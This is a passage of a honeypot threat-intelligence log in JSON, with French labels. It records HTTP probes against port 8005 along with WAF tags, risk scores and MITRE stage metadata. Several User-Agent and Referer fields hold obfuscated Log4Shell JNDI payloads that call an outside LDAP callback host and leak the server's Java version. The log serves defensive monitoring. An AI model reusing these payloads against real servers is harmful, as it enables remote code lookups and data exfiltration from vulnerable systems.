\u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228005\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8005","http_user_agent":"${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d28:owa:-\/}${l:875b:-U}${v4fg:-A}${7i:-l}${8n:q6t:-0}${h0:2tzf:-c}${sy:--}${${pd:af4:fp0:-s}${c:-y}${2b4j:5f:qsx:-s}${b:x:-:}${ay:-j}${ne:-a}${4o0:-v}${fdv1:6i3:1:-a}${7cqs:-.}${q9z:c:-v}${7:-e}${t2:-r}${by:lt:-s}${h4a:3:-i}${lt6:dwle:j:-o}${f9:br3:-n}}${yz:4:-.}${way:9rfz:-f}${e1g:3:l7:-0}${59:izbh:msu:-5}${dru2:f:4:-c}${nz1o:l:-3}${yhj:-e}${gvnd:d1:e:-4}${1e:i:-0}${fae:zxi:f:-8}${6f:j:6:-2}${cyxg:6r:1:-b}${8:e:5e1s:-9}${a:2t3:-4}${8:dsm9:49:-2}${y8z:-8}${06:610:-f}${jrn:v:7apr:-7}${t7c:-9}${4:-7}${k:w0:goat:-f}${6n:hrkf:-6}${mes:uh:-e}${64e5:b:lp:-9}${1:k9:0:-6}${nf:-e}${wp:fub:-3}${v:z:-8}${tcos:b3w:-f}${zeou:hl:z8:-0}${hg1:rb:syfk:-2}${dm:aq1:x34b:-5}${p:-0}${ml:-3}${8:5rga:-3}${ipc:-8}${40l:8wsg:-f}${f:2r:zt:-d}${cte:g:-9}${2qfl:u:-0}${0h:ma:ovx:-e}${0a:t:-2}${b7:72jh:2:-a}${y0z6:-.}${b:-d}${i45q:-n}${093o:21ry:zw:-s}${ldy:bk:bxlv:--}${m:5g8s:5k:-e}${t:smjd:-x}${1byz:-f}${3:j0:p4:-i}${szdp:3mip:mji:-l}${3y4:-.}${8:-m}${lmyf:d:-a}${qyr:-s}${uwy:-m}${r7q:ysa:-c}${ci:-o}${f:ae:f:-r}${k1:-e}${qvh7:6xe:--}${0b:dr2:a:-c}${7s:g8l:txa:-f}${jvp9:et:--}${erv:pjs:-p}${wjhe:3:kzi:-r}${ahs:e:n02:-o}${1wzn:8jt:-d}${8ehp:--}${g:z6:-0}${3v:-2}${b:-.}${il5u:-m}${u:me:7z:-a}${5c0k:eqrm:-s}${eo:0vpa:a13:-m}${cyu:r:-.}${uvr2:u:9:-c}${i7m6:9s:-l}${ci4:1:7u:-o}${eiru:xz:-u}${lq:nru7:-d}${06:gti:-f}${ydu:fr:-e}${q:jl:-r}${0:th:rp:-r}${wdm:-y}${l3:-.}${vj:-g}${7:tr3:vd4q:-o}${3d:4h3:-o}${5h:-g}}","http_referer":"${${fq8v:-j}${9b:o1h:q5c8:-n}${xcd0:k:-d}${az:8:d0:-i}${yuxq:-:}${6:g:-l}${ihy:h4u:5v:-d}${27o:iku:-a}${7jp:23np:m3:-p}${w:bjd:-:}${hu:-\/}${gy:ri:-\/}${mh:-R}${6:dr:n:-E}${avz:wb3n:i:-l}${612:xms:-0}${f09x:-c}${5:--}${${85z:-s}${j:5h7:eqy:-y}${g:-s}${kos:jeb:-:}${9:lq3r:-j}${wrol:-a}${46:-v}${pn6:p:m:-a}${2go1:xw:b:-.}${a:-v}${25h:n3lb:tg02:-e}${r1:3:-r}${eo4k:re:-s}${mut7:-i}${jfh:nzsy:-o}${vmux:6nps:-n}}${q:g7o:-.}${198:v8hy:-f}${jbf5:iqv:-0}${8p:-5}${og5l:tkvh:-c}${crl3:op4b:9o:-3}${c:c0f:6ug9:-e}${3f:-4}${myak:9:jm:-0}${d:zt:-8}${a:7fzg:-2}${g5:-b}${vew:d:-9}${t:xp:341:-4}${8wif:a1w:0wjk:-2}${jeo3:wf:01b:-8}${t9bl:-f}${usf7:-7}${zf:zl4:-9}${pv:s92k:-7}${w39a:0nqh:n:-f}${oc8:67r:-6}${k2an:-e}${65p:c:g8y:-9}${5ytp:1dw:k:-6}${vky:-e}${y1:-3}${1kb:yco:87ao:-8}${n0w:-f}${fp:8wu:-0}${bgc:uvyc:i:-2}${efj:oz:-5}${qpns:t6b:pjo:-0}${n:cxtq:-3}${nyw:wnu:-3}${e2f:d:ep:-8}${7pa9:2m:-f}${et:-d}${fr:o5q:-9}${o4d:u6mb:va1:-0}${6i:zg:61:-e}${h29:bs:-2}${u5:e2gv:3w8q:-a}${ikh1:kgw8:2yc1:-.}${rn1g:r4:-d}${fylt:-n}${gx:2:i1km:-s}${8b0u:2:rgpa:--}${l5p4:-e}${x:48:l:-x}${nz:hux:z4:-f}${yxh:6l4w:-i}${m:z7t3:60:-l}${rm4:u2p0:-.}${h:-m}${t:k:rhs9:-a}${4a:xng:8o:-s}${07:n:-m}${o9u6:-c}${2c:-o}${l19:-r}${jm:-e}${9o:--}${ji:r:big:-c}${qw5h:7oqi:h8e:-f}${ka:--}${psh:-p}${e:-r}${3k4:i5l:-o}${sx:-d}${qpsk:bp5s:9:--}${j2:g7l9:0bpg:-0}${a1k:gj:-2}${zk1l:5mk8:-.}${7okz:-m}${9pan:oh:-a}${4:t:cr:-s}${soit:-m}${3m:opjl:ybx:-.}${xy:4i3:-c}${4k8:hy:sf30:-l}${v53h:-o}${k:gi8:-u}${5:f1x:-d}${wcn:lp4:-f}${mcs:-e}${vo:h8r:-r}${tdm1:-r}${jz:xg6:-y}${0ri:-.}${i4:cgmn:9e:-g}${1bu:1v:jpz:-o}${q:7aey:uc5:-o}${y:8:69l7:-g}}","tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":4096},{"id":14676227,"ip":"34.19.116.51","ts":"2026-07-31 15:34:12.000000","proto":"tcp","src_port":36865,"dst_port":8005,"service":"http","classification":"port_8005_tcp","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 6, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022474d34701ef094042bceaaeec604d0fd7a5f5a84\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.901116961975699, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8005, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 48.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 46, \u0022tag_count\u0022: 7, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022833e8070f1920a191fc10b5529d877c8dd4dc318\u0022, \u0022event_fingerprint\u0022: \u00227891ec270244eba9e61e5e094b551709d7a18fb3\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.6, \u0022classification_confidence\u0022: 0.6, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022, \u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022, \u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022, \u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 46, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022f7c5368ffb8b3cfeba382f3210023a0c\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 46}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nX-Forwarded-For: ${${lp:3xz:-j}${cv:m:41l:\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nX-Forwarded-For: ${${lp:3xz:-j}${cv:m:41l:\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022ca308bbf9afbee16aa8164367bdeddea9b7d7a07\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u00b7 risque 46\/100\u0022, \u0022confidence_pct\u0022: 60, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 48.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 46, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 46, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8005, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228005\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022http_auth_header_token\u0022, \u0022http_bearer_auth\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8005","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022http_auth_header_token\u0022, \u0022http_bearer_auth\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":4096},{"id":14676197,"ip":"34.19.116.51","ts":"2026-07-31 15:34:08.000000","proto":"tcp","src_port":36864,"dst_port":8005,"service":"http","classification":"port_8005_tcp","waf_score":23,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950382:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u0022d4d5ec6723e6205cdc4b1046f9f747c458af39a8\u0022, \u0022http_host_hash\u0022: \u0022474d34701ef094042bceaaeec604d0fd7a5f5a84\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: \u0022dc389ea0c450be44c6eccc6f5a305af83d784884\u0022, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.772051779655615, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8005, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 60.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 2.9, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 57, \u0022tag_count\u0022: 5, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00224764ef213e201b2e8d4360825fdbe8b372d61bb7\u0022, \u0022event_fingerprint\u0022: \u00227891ec270244eba9e61e5e094b551709d7a18fb3\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.6, \u0022classification_confidence\u0022: 0.6, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 57, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022996f0807599be451887f8cceceed5943\u0022, \u0022payload_hash\u0022: \u0022dc537d9fe9392b2a07641f89dd296a96\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 57}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}${9j:7xr:hz3f:-\/}${s:-\/}${t5e:n027:-U}${h:-A}${4a1:-l}${moj:yg:-0}${zab:-c}${k:9cvq:--}${${md4w:nw:-s}${n2y:a6e:wm:-y}${o9i:1sd0:-s}${y:\u2026\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950382:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022rce-14\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}${9j:7xr:hz3f:-\/}${s:-\/}${t5e:n027:-U}${h:\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: 